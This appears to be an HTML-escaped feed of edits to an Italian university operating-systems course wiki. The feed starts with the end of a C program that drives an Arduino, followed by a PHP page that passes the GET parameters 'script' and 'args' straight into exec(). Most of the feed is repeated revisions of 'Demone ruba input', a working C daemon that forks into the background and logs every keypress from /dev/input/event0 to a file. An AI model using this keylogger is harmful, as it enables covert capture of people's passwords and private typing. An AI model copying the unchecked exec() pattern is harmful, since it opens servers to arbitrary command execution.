      printf(&amp;quot;Error: %s (%i)\n&amp;quot;, strerror(errno), errno);&lt;br /&gt;
      exit(1);&lt;br /&gt;
   }&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
/**&lt;br /&gt;
 * strspl&lt;br /&gt;
 * @author Federico Giuggioloni&lt;br /&gt;
 * Splits a string and allocates memory for an array&lt;br /&gt;
 * which contains the result of the split.&lt;br /&gt;
 *&lt;br /&gt;
 * @param char*** split a pointer to a string array,&lt;br /&gt;
 *          can be null. after the call, it'll be an&lt;br /&gt;
 *          array with the required elements.&lt;br /&gt;
 * @param char* string a pointer to the string to split&lt;br /&gt;
 * @param const char* delim a pointer to the delimiter.&lt;br /&gt;
 * @return number of elements in the split array&lt;br /&gt;
 */&lt;br /&gt;
int strspl(char*** split, char* string, const char* delim)&lt;br /&gt;
{&lt;br /&gt;
   char* result;&lt;br /&gt;
   char* parsed = malloc(strlen(string)+1);&lt;br /&gt;
   char* tofree = parsed;&lt;br /&gt;
&lt;br /&gt;
   if(*split == NULL)&lt;br /&gt;
   {&lt;br /&gt;
      *split = malloc(sizeof(char*) * MAXIMUM_CHAIN);&lt;br /&gt;
   }&lt;br /&gt;
&lt;br /&gt;
   strcpy(parsed, string);&lt;br /&gt;
&lt;br /&gt;
   int i = 0;&lt;br /&gt;
   while((result = strtok(parsed, delim)) != NULL)&lt;br /&gt;
   {&lt;br /&gt;
      //subsequent calls to strtok must have NULL in the first&lt;br /&gt;
      //parameter&lt;br /&gt;
      parsed = NULL;&lt;br /&gt;
&lt;br /&gt;
      //(*split)[i] = result;&lt;br /&gt;
      (*split)[i] = malloc(strlen(result) * sizeof(char) + 1);&lt;br /&gt;
      strcpy((*split)[i], result);&lt;br /&gt;
&lt;br /&gt;
      printf(&amp;quot;%s\n&amp;quot;, result);&lt;br /&gt;
&lt;br /&gt;
      i++;&lt;br /&gt;
   }&lt;br /&gt;
&lt;br /&gt;
   free(tofree);&lt;br /&gt;
   return i;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
/**&lt;br /&gt;
 * read_commands&lt;br /&gt;
 * @author Federico Giuggioloni&lt;br /&gt;
 * Reads commands from an array produced by strspl&lt;br /&gt;
 *&lt;br /&gt;
 * @return integer determining which action has to be executed&lt;br /&gt;
 *          (HINTHINT Send it directly to arduino)&lt;br /&gt;
 */&lt;br /&gt;
char read_commands(char** commands, int argc)&lt;br /&gt;
{&lt;br /&gt;
   int action = 0;&lt;br /&gt;
   int pin;&lt;br /&gt;
&lt;br /&gt;
   if(strcmp(commands[0], &amp;quot;LED&amp;quot;) == 0)&lt;br /&gt;
   {&lt;br /&gt;
      if(strcmp(commands[1], &amp;quot;ON&amp;quot;) == 0)&lt;br /&gt;
      {&lt;br /&gt;
         pin = atoi(commands[2]);&lt;br /&gt;
         action = 10 + pin;&lt;br /&gt;
      }&lt;br /&gt;
      else if(strcmp(commands[2], &amp;quot;OFF&amp;quot;) == 0)&lt;br /&gt;
      {&lt;br /&gt;
         pin = atoi(commands[2]);&lt;br /&gt;
         action = 0 + pin;&lt;br /&gt;
      }&lt;br /&gt;
   }&lt;br /&gt;
   else if(strcmp(commands[0], &amp;quot;SEND&amp;quot;) == 0)&lt;br /&gt;
   {&lt;br /&gt;
      action = atoi(commands[1]);&lt;br /&gt;
   }&lt;br /&gt;
&lt;br /&gt;
   return action;//TODO&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
int main(int argc, char* argv[])&lt;br /&gt;
{&lt;br /&gt;
   if(argc &amp;lt; 1) usage();&lt;br /&gt;
&lt;br /&gt;
   int fd;&lt;br /&gt;
   int i;&lt;br /&gt;
   char* message;&lt;br /&gt;
   size_t size = 1024;&lt;br /&gt;
   int read;&lt;br /&gt;
   char** split = NULL;&lt;br /&gt;
   int tokens;&lt;br /&gt;
   char delim = ' ';&lt;br /&gt;
   char read_command = 0;&lt;br /&gt;
&lt;br /&gt;
   message = malloc(size);&lt;br /&gt;
&lt;br /&gt;
   fd = open(argv[1], O_RDWR);&lt;br /&gt;
   checkError(fd);&lt;br /&gt;
&lt;br /&gt;
   if(argc &amp;gt; 2)&lt;br /&gt;
   {&lt;br /&gt;
      read_command = read_commands(argv+2, argc-2);&lt;br /&gt;
      write(fd, &amp;amp;read_command, 1);&lt;br /&gt;
      exit(0);&lt;br /&gt;
   }&lt;br /&gt;
&lt;br /&gt;
   do&lt;br /&gt;
   {&lt;br /&gt;
      read = getline(&amp;amp;message, &amp;amp;size, stdin);&lt;br /&gt;
&lt;br /&gt;
      tokens = strspl(&amp;amp;split, message, &amp;amp;delim);&lt;br /&gt;
&lt;br /&gt;
      read_command = read_commands(split, tokens);&lt;br /&gt;
      write(fd, &amp;amp;read_command, 1);&lt;br /&gt;
&lt;br /&gt;
   }while(1);&lt;br /&gt;
&lt;br /&gt;
   return 0;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Script PHP che usa la exec per eseguire il programma C. Richiede pero' i permessi al file di arduino in /dev e al programma C, altrimenti restituisce permission denied.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;source lang=&amp;quot;php&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;?php&lt;br /&gt;
&lt;br /&gt;
if(isset($_GET[&amp;quot;script&amp;quot;]) &amp;amp;&amp;amp; isset($_GET[&amp;quot;args&amp;quot;]))&lt;br /&gt;
{&lt;br /&gt;
   $result = exec($_GET[&amp;quot;script&amp;quot;].&amp;quot; &amp;quot;.$_GET[&amp;quot;args&amp;quot;].&amp;quot; 2&amp;gt;&amp;amp;1&amp;quot;, $output, $return);&lt;br /&gt;
      echo $_GET[&amp;quot;script&amp;quot;].&amp;quot; &amp;quot;.$_GET[&amp;quot;args&amp;quot;].&amp;quot; called, result = $result!&amp;lt;br/&amp;gt;&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
      if(!$return)&lt;br /&gt;
      {&lt;br /&gt;
         echo &amp;quot;Succesful!&amp;lt;br/&amp;gt;&amp;quot;;&lt;br /&gt;
      }&lt;br /&gt;
      else&lt;br /&gt;
      {&lt;br /&gt;
         echo &amp;quot;No.&amp;lt;br/&amp;gt;&amp;quot;;&lt;br /&gt;
      }&lt;br /&gt;
&lt;br /&gt;
      echo &amp;quot;$output&amp;lt;br/&amp;gt;&amp;quot;;&lt;br /&gt;
      echo &amp;quot;$result&amp;lt;br/&amp;gt;&amp;quot;;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
?&amp;gt;&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;/div&gt;</summary>
		<author><name>GFede</name></author>
	</entry>
	<entry>
		<id>https://so.v2.cs.unibo.it/wiki/index.php?title=Demone_ruba_input&amp;diff=882</id>
		<title>Demone ruba input</title>
		<link rel="alternate" type="text/html" href="https://so.v2.cs.unibo.it/wiki/index.php?title=Demone_ruba_input&amp;diff=882"/>
		<updated>2015-03-02T12:04:29Z</updated>

		<summary type="html">&lt;p&gt;GFede: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;Crea un demone che ascolta sulla tastiera (se il file della tastiera e' event0) e fa da keylogger.&lt;br /&gt;
&lt;br /&gt;
Tutti i caratteri premuti vengono salvati nel file passato come primo argomento. ESC termina l'esecuzione in qualsiasi momento.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;source lang=&amp;quot;C&amp;quot;&amp;gt;&lt;br /&gt;
#include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;
#include &amp;lt;stdlib.h&amp;gt;&lt;br /&gt;
#include &amp;lt;fcntl.h&amp;gt;&lt;br /&gt;
#include &amp;lt;linux/input.h&amp;gt;&lt;br /&gt;
&lt;br /&gt;
#define MAX_BUFFER 16&lt;br /&gt;
&lt;br /&gt;
struct input_event inputs[MAX_BUFFER];&lt;br /&gt;
&lt;br /&gt;
char toChar(int code);&lt;br /&gt;
&lt;br /&gt;
/**&lt;br /&gt;
 * Federico Giuggioloni 2 Marzo 2015&lt;br /&gt;
 */&lt;br /&gt;
int main(int args, char* argv[])&lt;br /&gt;
{&lt;br /&gt;
&lt;br /&gt;
   if(fork())&lt;br /&gt;
   {&lt;br /&gt;
      //Padre&lt;br /&gt;
      exit(0);&lt;br /&gt;
   }&lt;br /&gt;
   else&lt;br /&gt;
   {&lt;br /&gt;
      //Figlio&lt;br /&gt;
      //printf(&amp;quot;Sono il figlio, pid = %d, padre = %d\n&amp;quot;, getpid(), getppid());&lt;br /&gt;
      int i = 0;&lt;br /&gt;
      int fd = open(&amp;quot;/dev/input/event0&amp;quot;, O_RDONLY);&lt;br /&gt;
      int fd1 = open(argv[1], O_CREAT | O_TRUNC | O_WRONLY);&lt;br /&gt;
&lt;br /&gt;
      while(1)&lt;br /&gt;
      {&lt;br /&gt;
         //read(fd, &amp;amp;letto, sizeof(int));&lt;br /&gt;
         read(fd, inputs, sizeof(struct input_event) * MAX_BUFFER);&lt;br /&gt;
         for(i = 0; i &amp;lt; MAX_BUFFER; i++)&lt;br /&gt;
         {&lt;br /&gt;
            char c = toChar(inputs[i].code);&lt;br /&gt;
            //printf(&amp;quot;%c\t&amp;quot;, c);&lt;br /&gt;
            if(inputs[i].code == KEY_ESC)&lt;br /&gt;
            {&lt;br /&gt;
               exit(0);&lt;br /&gt;
            }&lt;br /&gt;
            else if(inputs[i].code == KEY_ENTER)&lt;br /&gt;
            {&lt;br /&gt;
&lt;br /&gt;
            }&lt;br /&gt;
            else if(inputs[i].code != 0 &amp;amp;&amp;amp; inputs[i].type == EV_KEY&lt;br /&gt;
                  &amp;amp;&amp;amp; inputs[i].value == 1)&lt;br /&gt;
            {&lt;br /&gt;
               write(fd1, &amp;amp;c, 1);&lt;br /&gt;
            }&lt;br /&gt;
&lt;br /&gt;
         }&lt;br /&gt;
         //printf(&amp;quot;\n&amp;quot;);&lt;br /&gt;
         i++;&lt;br /&gt;
      }&lt;br /&gt;
&lt;br /&gt;
      //printf(&amp;quot;Sono il figlio, pid = %d, padre = %d\n&amp;quot;, getpid(), getppid());&lt;br /&gt;
      exit(0);&lt;br /&gt;
   }&lt;br /&gt;
&lt;br /&gt;
   return 0;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
char toChar(int code)&lt;br /&gt;
{&lt;br /&gt;
   switch(code)&lt;br /&gt;
   {&lt;br /&gt;
      case KEY_Q:&lt;br /&gt;
         return 'q';&lt;br /&gt;
      case KEY_W:&lt;br /&gt;
         return 'w';&lt;br /&gt;
      case KEY_E:&lt;br /&gt;
         return 'e';&lt;br /&gt;
      case KEY_R:&lt;br /&gt;
         return 'r';&lt;br /&gt;
      case KEY_T:&lt;br /&gt;
         return 't';&lt;br /&gt;
      case KEY_Y:&lt;br /&gt;
         return 'y';&lt;br /&gt;
      case KEY_U:&lt;br /&gt;
         return 'u';&lt;br /&gt;
      case KEY_I:&lt;br /&gt;
         return 'i';&lt;br /&gt;
      case KEY_O:&lt;br /&gt;
         return 'o';&lt;br /&gt;
      case KEY_P:&lt;br /&gt;
         return 'p';&lt;br /&gt;
      case KEY_A:&lt;br /&gt;
         return 'a';&lt;br /&gt;
      case KEY_S:&lt;br /&gt;
         return 's';&lt;br /&gt;
      case KEY_D:&lt;br /&gt;
         return 'd';&lt;br /&gt;
      case KEY_F:&lt;br /&gt;
         return 'f';&lt;br /&gt;
      case KEY_G:&lt;br /&gt;
         return 'g';&lt;br /&gt;
      case KEY_H:&lt;br /&gt;
         return 'h';&lt;br /&gt;
      case KEY_J:&lt;br /&gt;
         return 'j';&lt;br /&gt;
      case KEY_K:&lt;br /&gt;
         return 'k';&lt;br /&gt;
      case KEY_L:&lt;br /&gt;
         return 'l';&lt;br /&gt;
      case KEY_Z:&lt;br /&gt;
         return 'z';&lt;br /&gt;
      case KEY_X:&lt;br /&gt;
         return 'x';&lt;br /&gt;
      case KEY_C:&lt;br /&gt;
         return 'c';&lt;br /&gt;
      case KEY_V:&lt;br /&gt;
         return 'v';&lt;br /&gt;
      case KEY_B:&lt;br /&gt;
         return 'b';&lt;br /&gt;
      case KEY_N:&lt;br /&gt;
         return 'n';&lt;br /&gt;
      case KEY_M:&lt;br /&gt;
         return 'm';&lt;br /&gt;
      case KEY_SPACE:&lt;br /&gt;
         return ' ';&lt;br /&gt;
      default:&lt;br /&gt;
         return '0';&lt;br /&gt;
   }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
[[User:GFede|GFede]] ([[User talk:GFede|talk]]) 13.43 Mon, 02 Mar 2015 (CET)&lt;/div&gt;</summary>
		<author><name>GFede</name></author>
	</entry>
	<entry>
		<id>https://so.v2.cs.unibo.it/wiki/index.php?title=Demone_ruba_input&amp;diff=881</id>
		<title>Demone ruba input</title>
		<link rel="alternate" type="text/html" href="https://so.v2.cs.unibo.it/wiki/index.php?title=Demone_ruba_input&amp;diff=881"/>
		<updated>2015-03-02T12:02:18Z</updated>

		<summary type="html">&lt;p&gt;GFede: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;Crea un demone che ascolta sulla tastiera (se il file della tastiera e' event0) e fa da keylogger.&lt;br /&gt;
&lt;br /&gt;
Tutti i caratteri premuti vengono salvati nel file passato come primo argomento. ESC termina l'esecuzione in qualsiasi momento.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;source lang=&amp;quot;C&amp;quot;&amp;gt;&lt;br /&gt;
#include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;
#include &amp;lt;stdlib.h&amp;gt;&lt;br /&gt;
#include &amp;lt;fcntl.h&amp;gt;&lt;br /&gt;
#include &amp;lt;linux/input.h&amp;gt;&lt;br /&gt;
&lt;br /&gt;
#define MAX_BUFFER 16&lt;br /&gt;
&lt;br /&gt;
struct input_event inputs[MAX_BUFFER];&lt;br /&gt;
&lt;br /&gt;
char toChar(int code);&lt;br /&gt;
&lt;br /&gt;
/**&lt;br /&gt;
 * Federico Giuggioloni 2 Marzo 2015&lt;br /&gt;
 */&lt;br /&gt;
int main(int args, char* argv[])&lt;br /&gt;
{&lt;br /&gt;
&lt;br /&gt;
   if(fork())&lt;br /&gt;
   {&lt;br /&gt;
      //Padre&lt;br /&gt;
      exit(0);&lt;br /&gt;
   }&lt;br /&gt;
   else&lt;br /&gt;
   {&lt;br /&gt;
      //Figlio&lt;br /&gt;
      //printf(&amp;quot;Sono il figlio, pid = %d, padre = %d\n&amp;quot;, getpid(), getppid());&lt;br /&gt;
      int i = 0;&lt;br /&gt;
      int fd = open(&amp;quot;/dev/input/event0&amp;quot;, O_RDONLY);&lt;br /&gt;
      int fd1 = open(argv[1], O_CREAT | O_TRUNC | O_WRONLY);&lt;br /&gt;
&lt;br /&gt;
      while(1)&lt;br /&gt;
      {&lt;br /&gt;
         //read(fd, &amp;amp;letto, sizeof(int));&lt;br /&gt;
         read(fd, inputs, sizeof(struct input_event) * MAX_BUFFER);&lt;br /&gt;
         for(i = 0; i &amp;lt; MAX_BUFFER; i++)&lt;br /&gt;
         {&lt;br /&gt;
            char c = toChar(inputs[i].code);&lt;br /&gt;
            //printf(&amp;quot;%c\t&amp;quot;, c);&lt;br /&gt;
            if(inputs[i].code == KEY_ESC)&lt;br /&gt;
            {&lt;br /&gt;
               exit(0);&lt;br /&gt;
            }&lt;br /&gt;
            else if(inputs[i].code == KEY_ENTER)&lt;br /&gt;
            {&lt;br /&gt;
&lt;br /&gt;
            }&lt;br /&gt;
            else if(inputs[i].code != 0 &amp;amp;&amp;amp; inputs[i].type == EV_KEY&lt;br /&gt;
                  &amp;amp;&amp;amp; inputs[i].value == 1)&lt;br /&gt;
            {&lt;br /&gt;
               write(fd1, &amp;amp;c, 1);&lt;br /&gt;
            }&lt;br /&gt;
&lt;br /&gt;
         }&lt;br /&gt;
         //printf(&amp;quot;\n&amp;quot;);&lt;br /&gt;
         i++;&lt;br /&gt;
      }&lt;br /&gt;
&lt;br /&gt;
      //printf(&amp;quot;Sono il figlio, pid = %d, padre = %d\n&amp;quot;, getpid(), getppid());&lt;br /&gt;
      exit(0);&lt;br /&gt;
   }&lt;br /&gt;
&lt;br /&gt;
   return 0;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
char toChar(int code)&lt;br /&gt;
{&lt;br /&gt;
   switch(code)&lt;br /&gt;
   {&lt;br /&gt;
      case KEY_Q:&lt;br /&gt;
         return 'q';&lt;br /&gt;
      case KEY_W:&lt;br /&gt;
         return 'w';&lt;br /&gt;
      case KEY_E:&lt;br /&gt;
         return 'e';&lt;br /&gt;
      case KEY_R:&lt;br /&gt;
         return 'r';&lt;br /&gt;
      case KEY_T:&lt;br /&gt;
         return 't';&lt;br /&gt;
      case KEY_Y:&lt;br /&gt;
         return 'y';&lt;br /&gt;
      case KEY_U:&lt;br /&gt;
         return 'u';&lt;br /&gt;
      case KEY_I:&lt;br /&gt;
         return 'i';&lt;br /&gt;
      case KEY_O:&lt;br /&gt;
         return 'o';&lt;br /&gt;
      case KEY_P:&lt;br /&gt;
         return 'p';&lt;br /&gt;
      case KEY_A:&lt;br /&gt;
         return 'a';&lt;br /&gt;
      case KEY_S:&lt;br /&gt;
         return 's';&lt;br /&gt;
      case KEY_D:&lt;br /&gt;
         return 'd';&lt;br /&gt;
      case KEY_F:&lt;br /&gt;
         return 'f';&lt;br /&gt;
      case KEY_G:&lt;br /&gt;
         return 'g';&lt;br /&gt;
      case KEY_H:&lt;br /&gt;
         return 'h';&lt;br /&gt;
      case KEY_J:&lt;br /&gt;
         return 'j';&lt;br /&gt;
      case KEY_K:&lt;br /&gt;
         return 'k';&lt;br /&gt;
      case KEY_L:&lt;br /&gt;
         return 'l';&lt;br /&gt;
      case KEY_Z:&lt;br /&gt;
         return 'z';&lt;br /&gt;
      case KEY_X:&lt;br /&gt;
         return 'x';&lt;br /&gt;
      case KEY_C:&lt;br /&gt;
         return 'c';&lt;br /&gt;
      case KEY_V:&lt;br /&gt;
         return 'v';&lt;br /&gt;
      case KEY_B:&lt;br /&gt;
         return 'b';&lt;br /&gt;
      case KEY_N:&lt;br /&gt;
         return 'n';&lt;br /&gt;
      case KEY_M:&lt;br /&gt;
         return 'm';&lt;br /&gt;
      case KEY_SPACE:&lt;br /&gt;
         return ' ';&lt;br /&gt;
      default:&lt;br /&gt;
         return '0';&lt;br /&gt;
   }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;/div&gt;</summary>
		<author><name>GFede</name></author>
	</entry>
	<entry>
		<id>https://so.v2.cs.unibo.it/wiki/index.php?title=Demone_ruba_input&amp;diff=880</id>
		<title>Demone ruba input</title>
		<link rel="alternate" type="text/html" href="https://so.v2.cs.unibo.it/wiki/index.php?title=Demone_ruba_input&amp;diff=880"/>
		<updated>2015-03-02T12:01:53Z</updated>

		<summary type="html">&lt;p&gt;GFede: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;Crea un demone che ascolta sulla tastiera (se il file della tastiera e' event0) e fa da keylogger.&lt;br /&gt;
&lt;br /&gt;
Tutti i caratteri premuti vengono salvati nel file passato come primo argomento. ESC termina l'esecuzione in qualsiasi momento.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;source lang=&amp;quot;C&amp;quot;&amp;gt;&lt;br /&gt;
#include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;
#include &amp;lt;stdlib.h&amp;gt;&lt;br /&gt;
#include &amp;lt;fcntl.h&amp;gt;&lt;br /&gt;
#include &amp;lt;linux/input.h&amp;gt;&lt;br /&gt;
&lt;br /&gt;
#define MAX_BUFFER 16&lt;br /&gt;
&lt;br /&gt;
struct input_event inputs[MAX_BUFFER];&lt;br /&gt;
&lt;br /&gt;
char toChar(int code);&lt;br /&gt;
&lt;br /&gt;
/**&lt;br /&gt;
 * Federico Giuggioloni 25 Febbraio 2015&lt;br /&gt;
 */&lt;br /&gt;
int main(int args, char* argv[])&lt;br /&gt;
{&lt;br /&gt;
&lt;br /&gt;
   if(fork())&lt;br /&gt;
   {&lt;br /&gt;
      //Padre&lt;br /&gt;
      exit(0);&lt;br /&gt;
   }&lt;br /&gt;
   else&lt;br /&gt;
   {&lt;br /&gt;
      //Figlio&lt;br /&gt;
      //printf(&amp;quot;Sono il figlio, pid = %d, padre = %d\n&amp;quot;, getpid(), getppid());&lt;br /&gt;
      int i = 0;&lt;br /&gt;
      int fd = open(&amp;quot;/dev/input/event0&amp;quot;, O_RDONLY);&lt;br /&gt;
      int fd1 = open(argv[1], O_CREAT | O_TRUNC | O_WRONLY);&lt;br /&gt;
&lt;br /&gt;
      while(1)&lt;br /&gt;
      {&lt;br /&gt;
         //read(fd, &amp;amp;letto, sizeof(int));&lt;br /&gt;
         read(fd, inputs, sizeof(struct input_event) * MAX_BUFFER);&lt;br /&gt;
         for(i = 0; i &amp;lt; MAX_BUFFER; i++)&lt;br /&gt;
         {&lt;br /&gt;
            char c = toChar(inputs[i].code);&lt;br /&gt;
            //printf(&amp;quot;%c\t&amp;quot;, c);&lt;br /&gt;
            if(inputs[i].code == KEY_ESC)&lt;br /&gt;
            {&lt;br /&gt;
               exit(0);&lt;br /&gt;
            }&lt;br /&gt;
            else if(inputs[i].code == KEY_ENTER)&lt;br /&gt;
            {&lt;br /&gt;
&lt;br /&gt;
            }&lt;br /&gt;
            else if(inputs[i].code != 0 &amp;amp;&amp;amp; inputs[i].type == EV_KEY&lt;br /&gt;
                  &amp;amp;&amp;amp; inputs[i].value == 1)&lt;br /&gt;
            {&lt;br /&gt;
               write(fd1, &amp;amp;c, 1);&lt;br /&gt;
            }&lt;br /&gt;
&lt;br /&gt;
         }&lt;br /&gt;
         //printf(&amp;quot;\n&amp;quot;);&lt;br /&gt;
         i++;&lt;br /&gt;
      }&lt;br /&gt;
&lt;br /&gt;
      //printf(&amp;quot;Sono il figlio, pid = %d, padre = %d\n&amp;quot;, getpid(), getppid());&lt;br /&gt;
      exit(0);&lt;br /&gt;
   }&lt;br /&gt;
&lt;br /&gt;
   return 0;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
char toChar(int code)&lt;br /&gt;
{&lt;br /&gt;
   switch(code)&lt;br /&gt;
   {&lt;br /&gt;
      case KEY_Q:&lt;br /&gt;
         return 'q';&lt;br /&gt;
      case KEY_W:&lt;br /&gt;
         return 'w';&lt;br /&gt;
      case KEY_E:&lt;br /&gt;
         return 'e';&lt;br /&gt;
      case KEY_R:&lt;br /&gt;
         return 'r';&lt;br /&gt;
      case KEY_T:&lt;br /&gt;
         return 't';&lt;br /&gt;
      case KEY_Y:&lt;br /&gt;
         return 'y';&lt;br /&gt;
      case KEY_U:&lt;br /&gt;
         return 'u';&lt;br /&gt;
      case KEY_I:&lt;br /&gt;
         return 'i';&lt;br /&gt;
      case KEY_O:&lt;br /&gt;
         return 'o';&lt;br /&gt;
      case KEY_P:&lt;br /&gt;
         return 'p';&lt;br /&gt;
      case KEY_A:&lt;br /&gt;
         return 'a';&lt;br /&gt;
      case KEY_S:&lt;br /&gt;
         return 's';&lt;br /&gt;
      case KEY_D:&lt;br /&gt;
         return 'd';&lt;br /&gt;
      case KEY_F:&lt;br /&gt;
         return 'f';&lt;br /&gt;
      case KEY_G:&lt;br /&gt;
         return 'g';&lt;br /&gt;
      case KEY_H:&lt;br /&gt;
         return 'h';&lt;br /&gt;
      case KEY_J:&lt;br /&gt;
         return 'j';&lt;br /&gt;
      case KEY_K:&lt;br /&gt;
         return 'k';&lt;br /&gt;
      case KEY_L:&lt;br /&gt;
         return 'l';&lt;br /&gt;
      case KEY_Z:&lt;br /&gt;
         return 'z';&lt;br /&gt;
      case KEY_X:&lt;br /&gt;
         return 'x';&lt;br /&gt;
      case KEY_C:&lt;br /&gt;
         return 'c';&lt;br /&gt;
      case KEY_V:&lt;br /&gt;
         return 'v';&lt;br /&gt;
      case KEY_B:&lt;br /&gt;
         return 'b';&lt;br /&gt;
      case KEY_N:&lt;br /&gt;
         return 'n';&lt;br /&gt;
      case KEY_M:&lt;br /&gt;
         return 'm';&lt;br /&gt;
      case KEY_SPACE:&lt;br /&gt;
         return ' ';&lt;br /&gt;
      default:&lt;br /&gt;
         return '0';&lt;br /&gt;
   }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;/div&gt;</summary>
		<author><name>GFede</name></author>
	</entry>
	<entry>
		<id>https://so.v2.cs.unibo.it/wiki/index.php?title=Demone_ruba_input&amp;diff=879</id>
		<title>Demone ruba input</title>
		<link rel="alternate" type="text/html" href="https://so.v2.cs.unibo.it/wiki/index.php?title=Demone_ruba_input&amp;diff=879"/>
		<updated>2015-03-02T10:05:32Z</updated>

		<summary type="html">&lt;p&gt;GFede: Created page with &amp;quot;L'idea era creare un demone che intercetta tutti gli input da tastiera e se li mette da parte, ovviamente richiede permessi di amministratore. Devo ancora fare la parte di let...&amp;quot;&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;L'idea era creare un demone che intercetta tutti gli input da tastiera e se li mette da parte, ovviamente richiede permessi di amministratore.&lt;br /&gt;
Devo ancora fare la parte di lettura del carattere a partire dai valori nella struttura input_event, quindi per ora va in loop infinito.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;source lang=&amp;quot;C&amp;quot;&amp;gt;&lt;br /&gt;
#include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;
#include &amp;lt;stdlib.h&amp;gt;&lt;br /&gt;
#include &amp;lt;fcntl.h&amp;gt;&lt;br /&gt;
#include &amp;lt;linux/input.h&amp;gt;&lt;br /&gt;
&lt;br /&gt;
#define MAX_BUFFER 16&lt;br /&gt;
&lt;br /&gt;
struct input_event inputs[MAX_BUFFER];&lt;br /&gt;
&lt;br /&gt;
int main(int args, char* argv[])&lt;br /&gt;
{&lt;br /&gt;
&lt;br /&gt;
   if(fork())&lt;br /&gt;
   {&lt;br /&gt;
      //Padre&lt;br /&gt;
      exit(0);&lt;br /&gt;
   }&lt;br /&gt;
   else&lt;br /&gt;
   {&lt;br /&gt;
      //Figlio&lt;br /&gt;
      printf(&amp;quot;Sono il figlio, pid = %d, padre = %d\n&amp;quot;, getpid(), getppid());&lt;br /&gt;
      int i = 0;&lt;br /&gt;
      int fd = open(&amp;quot;/dev/input/event0&amp;quot;, O_RDONLY);&lt;br /&gt;
&lt;br /&gt;
      while(1)&lt;br /&gt;
      {&lt;br /&gt;
         //read(fd, &amp;amp;letto, sizeof(int));&lt;br /&gt;
         read(fd, inputs, sizeof(struct input_event) * MAX_BUFFER);&lt;br /&gt;
         for(i = 0; i &amp;lt; MAX_BUFFER; i++)&lt;br /&gt;
         {&lt;br /&gt;
            printf(&amp;quot;%d:%d\t&amp;quot;, inputs[i].value, i);&lt;br /&gt;
            if(inputs[i].value == 'q')&lt;br /&gt;
            {&lt;br /&gt;
               break;&lt;br /&gt;
            }&lt;br /&gt;
         }&lt;br /&gt;
         i++;&lt;br /&gt;
      }&lt;br /&gt;
&lt;br /&gt;
      printf(&amp;quot;Sono il figlio, pid = %d, padre = %d\n&amp;quot;, getpid(), getppid());&lt;br /&gt;
      exit(0);&lt;br /&gt;
   }&lt;br /&gt;
&lt;br /&gt;
   return 0;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;/div&gt;</summary>
		<author><name>GFede</name></author>
	</entry>
	<entry>
		<id>https://so.v2.cs.unibo.it/wiki/index.php?title=Main_Page&amp;diff=878</id>
		<title>Main Page</title>
		<link rel="alternate" type="text/html" href="https://so.v2.cs.unibo.it/wiki/index.php?title=Main_Page&amp;diff=878"/>
		<updated>2015-03-02T10:00:37Z</updated>

		<summary type="html">&lt;p&gt;GFede: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;Questo &amp;amp;egrave; il Wiki del Corso di Sistemi Operativi&lt;br /&gt;
&lt;br /&gt;
[[Demone ruba input]]&lt;br /&gt;
&lt;br /&gt;
[[wifi daemon]]&lt;br /&gt;
&lt;br /&gt;
[[Esercizio 1, prova pratica 13/09/2013]]&lt;br /&gt;
&lt;br /&gt;
[[Problema Dei Filosofi]]&lt;br /&gt;
&lt;br /&gt;
[http://www.cs.unibo.it/~renzo/so/portability.tgz portability.tgz]&lt;br /&gt;
&lt;br /&gt;
[[listx.h commentato + esempio su container_of]]&lt;br /&gt;
&lt;br /&gt;
[[Congettura di Goldbach]]&lt;br /&gt;
&lt;br /&gt;
[[list segments]]&lt;br /&gt;
&lt;br /&gt;
[[Execv/fork su file aperto]]&lt;br /&gt;
&lt;br /&gt;
[[Angry_Children]]&lt;br /&gt;
&lt;br /&gt;
[[Esercizio 1, prova pratica 12/02/2009]]&lt;br /&gt;
&lt;br /&gt;
[[(Programma C) Un quadrato nella matrice]]&lt;br /&gt;
&lt;br /&gt;
[[&amp;quot;classi&amp;quot;_in_C]]&lt;br /&gt;
&lt;br /&gt;
[[Esempi del 02 dicembre 2014]]&lt;br /&gt;
&lt;br /&gt;
[[Materiale dell'AA 2013-14]]&lt;br /&gt;
----&lt;br /&gt;
Ricordate che per creare un account o quando viene richiesto di risolvere un semplice calcolo occorre ricordare quanto scritto [[qui]]&lt;/div&gt;</summary>
		<author><name>GFede</name></author>
	</entry>
	<entry>
		<id>https://so.v2.cs.unibo.it/wiki/index.php?title=Esempi_del_02_dicembre_2014&amp;diff=851</id>
		<title>Esempi del 02 dicembre 2014</title>
		<link rel="alternate" type="text/html" href="https://so.v2.cs.unibo.it/wiki/index.php?title=Esempi_del_02_dicembre_2014&amp;diff=851"/>
		<updated>2014-12-02T16:37:31Z</updated>

		<summary type="html">&lt;p&gt;GFede: &lt;/p&gt;
&lt;hr /&gt;
